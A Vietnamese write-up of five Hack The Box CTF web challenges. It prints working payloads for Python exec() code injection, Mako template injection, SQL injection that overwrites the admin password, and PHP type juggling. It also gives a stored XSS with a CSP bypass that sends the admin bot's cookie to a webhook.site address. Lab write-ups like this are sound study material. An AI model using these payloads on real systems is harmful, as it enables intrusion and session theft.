Lời nói đầu
Source code của các web challenge tôi để tại đây: drive.google.com/file/d/12YhU97ZnVLK04mjB7R..
Evaluation Deck
Giao diện challenge là 1 game lật bài.
Mỗi khi tôi lật 1 lá bài thì sẽ gọi tới API /api/get_heath
.
Code xử lý API /api/get_heath
Có thể thấy ngay source
là 3 tham số từ dòng 19->21, sink
là hàm exec()
ở dòng 28. Hàm exec()
sẽ thực thi đoạn code ở trong biến code
dòng 27 và lưu vào biến result
dòng 25.
Điều ta muốn là đọc nội dung file flag.txt
. Tuy nhiên 2 tham số current_health
và attack_power
đều bị cast thành kiểu int
. Do vậy operator
là tham số duy nhất khả thi để khai thác.
Ý tưởng ở đây là ghi đè nội dung của biến result
. Tôi lưu nội dung file flag.txt
và ghi đè biến result
bằng payload sau:
{"current_health":"100","attack_power":"43","operator":";result=open('/flag.txt','r').readline()#"}
Dấu ;
để ngăn cách giữa các statement, dấu #
để comment nội dung phía sau nó.
Kết quả:
Flag: HTB{c0d3_1nj3ct10ns_4r3_Gr3at!!}
Spookifier
Giao diện challenge là 1 tool biến các chữ ta nhập vào thành 4 chữ với font khác.
Mỗi khi gõ tên và ấn button Spookify
sẽ gọi tới API /
với tham số ?text=
. Tôi vừa gõ chữ aaa
thì sẽ gọi tới /?test=aaa
Code xử lý API /
Nhìn sơ qua thấy source
là biến text
ở dòng 9, sink
là hàm render_template()
ở dòng 12. Mọi thứ nhập vào từ text
sẽ được truyền qua file index.html
với nội dung là biến output
.
Cách truyền này không an toàn nên dẫn tới lỗi SSTI (Server Side Template Injection). Ở đây template được sử dụng là Mako
, cách để viết 1 expression trong Mako
là ${nội_dung}
Tôi đọc file flag.txt
với payload sau:
?text=${open("/flag.txt").read()}
Kết quả:
Flag: HTB{t3mpl4t3_1nj3ct10n_1s_$p00ky!!}
Horror Feeds
Giao diện challenge là một trang cho phép đăng ký - đăng nhập:
Sau khi đăng nhập ta được vào giao diện giống như 4 góc camera quay lại 1 căn phòng bị ma ám. Lúc này ta đi đến phần path /dashboard
API xử lý /dashboard
. Có thể thấy khi render file dashboard.html
sẽ được đi kèm flag.
Tuy nhiên khi đọc file dashboard.html
ta thấy không dễ gì có flag như vậy. user
phải là admin
mới có khả năng đọc flag.
Lỗi nằm ở đoạn xử lý API /api/register
.
Dòng 55 gọi tới hàm register
, hàm này nằm khai báo trong file database.py
Nội dung hàm register()
:
source
là username
và password
, sink
là hàm query_db()
. Lỗi SQL injection do câu query đều được tạo nên bởi việc nối chuỗi trực tiếp từ 2 tham số username
và password
.
Ở dòng 35 file database.py
cho ta biết password được hash bằng hàm generate_password_hash()
.
Nội dung hàm generate_password_hash()
:
Nói sơ qua về ý tưởng thì tôi muốn lợi dụng câu query INSERT INTO
để ghi đè password của user admin. Nhưng lưu ý rằng password khi đăng ký thì bị encrypt nên password ghi đè phải là dạng sau khi bị encrypt.
Khi encrypt thì admin
tương ứng với $2b$12$ETbEFkj2D7UpiWYCbt3EteBc23QrQKIO.sN7FZ3mUuCFAWQVcJEJ2
Đoạn code nho nhỏ giúp tôi encrypt:
import os, bcrypt
generate = lambda x: os.urandom(x).hex()
key = generate(50)
salt = bcrypt.gensalt()
print(bcrypt.hashpw('admin'.encode(), salt).decode())
Payload gửi vào API /api/register
(là phần body của POST)
{"username":"admin\",\"$2b$12$ETbEFkj2D7UpiWYCbt3EteBc23QrQKIO.sN7FZ3mUuCFAWQVcJEJ2\") ON DUPLICATE KEY UPDATE password=\"$2b$12$ETbEFkj2D7UpiWYCbt3EteBc23QrQKIO.sN7FZ3mUuCFAWQVcJEJ2\"-- ","password":"aaaa"}
Ghi đè thành công:
Đăng nhập thành công với username:password admin
:admin
Tới /dashboard
:
Flag: HTB{N3ST3D_QU3R1E5_AR3_5CARY!!!}
Juggling Facts
Challenge là trang hiện ra các fact
Tuy nhiên chỉ có admin mới tìm được secret fact
Mỗi lần ấn vào từng mục Fact thì sẽ gửi tới API /api/getfacts
Dòng 16 /api/getfacts
được xử lý bởi IndexController
Dò tới file IndexController.php
Hiển nhiên và cũng rất không hiển nhiên, nếu ta bằng cách nào đưa đoạn switch-case chạy vào case secrets
thì sẽ in ra flag.
Biến $jsondata['type']
chính là phần trong body của /api/getfacts
.
Ở đây tôi chỉ cần cho điều kiện switch-case là true
thì mặc định nó sẽ chạy vào case đầu tiên, cũng chính là case secrets
mà tôi cần.
Payload:
Flag: HTB{sw1tch_stat3m3nts_4r3_vuln3r4bl3!!!}
Cursed Secret Party
Challenge giống như 1 cái survey nhỏ cho phép điền name, email,...
Khi ấn submit thì API /api/submit
được gọi
Code xử lý /api/submit
Dữ liệu từ lấy từ body của POST /api/submit
sẽ được xử lý tuần tự như sau:
- Lưu vào database (dòng 19)
- Con
bot
lấy dữ liệu và dùng dữ liệu này để gọi qua 2 API/admin
/admin/delete_all
. Điều đáng nói là khi gọi qua 2 API kia thì nó kèm theoflag
trongcookie
(dòng 31->36)
Nếu con bot này gọi đến API
/admin
thì dữ liệu này còn được dùng để render trangadmin.html
(Dòng 38)
Ở đây ta có thể nhận thấy, dữ liệu được trực tiếp render ra trang admin.html
mà không qua bộ lọc nào. Vậy nên ta có lỗi XSS ở đây.
Ý tưởng của tôi là tạo 1 payload XSS để lấy cookie
của con bot mỗi khi nó vào /admin
.
Tuy nhiên do cấu hình CSP nên tôi sẽ không tạo được các thẻ script mà có src
từ nguồn nào khác ngoài http://cdn.jsdelivr.net
Sau 1 hồi lần mò thì tôi đọc được bài này, tôi nhận ra tôi có thể dùng github như CDN như cách bên dưới.
Link post: gomakethings.com/how-to-turn-any-github-rep..
Tôi lại mò được github của 1 khứa nào đã tạo sẵn để bypass CSP. github.com/CanardMandarin/csp-bypass
Đây là cách sử dụng cơ bản của nó.
<script src="https://unpkg.com/csp-bypass@1.0.2-0/dist/sval-classic.js"></script>
<br csp="alert(1)">
Tất nhiên không gửi phát ăn ngay được. Phần src
tôi sẽ phải sửa lại thành http://cdn.jsdelivr.net/gb/CanartMadarin/csp-bypass/dist/sval-classic.js
. Mọi thứ bên trong csp
sẽ đều được đưa vào hàm eval()
.
Vậy thì thực hiện ý tưởng như sau:
Gửi payload chứa XSS, XSS này sẽ gọi tới server
web-hook
của tôi và đính kèm cookie.Con bot sẽ tự động click vào trang chứa XSS và trigger cái XSS này.
Payload:
{"halloween_name":"<script src='https://cdn.jsdelivr.net/gh/CanardMandarin/csp-bypass/dist/sval-classic.js'></script><br csp=\"fetch('https://webhook.site/3eeae833-8971-49bd-82fa-82b580ae04e0?cookie='+JSON.stringify((document.cookie)));\">","email":"sheon@sheon.com","costume_type":"aaa","trick_or_treat":"aaa"}
Con bot trigger XSS và gửi tới server web-hook
của tôi:
Đoạn cookie nhận được: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwidXNlcl9yb2xlIjoiYWRtaW4iLCJmbGFnIjoiSFRCe2Nkbl9jNG5fYnlwNHNzX2M1cCEhfSIsImlhdCI6MTY2Njg0MzIyM30.RSbMNgEhKghXs7Qsm_fA89ZrL05d9rOgzpP7FyfkQLg
Decode đoạn cookie này ra, tôi dùng jwt.io
:
Flag: HTB{cdn_c4n_byp4ss_c5p!!}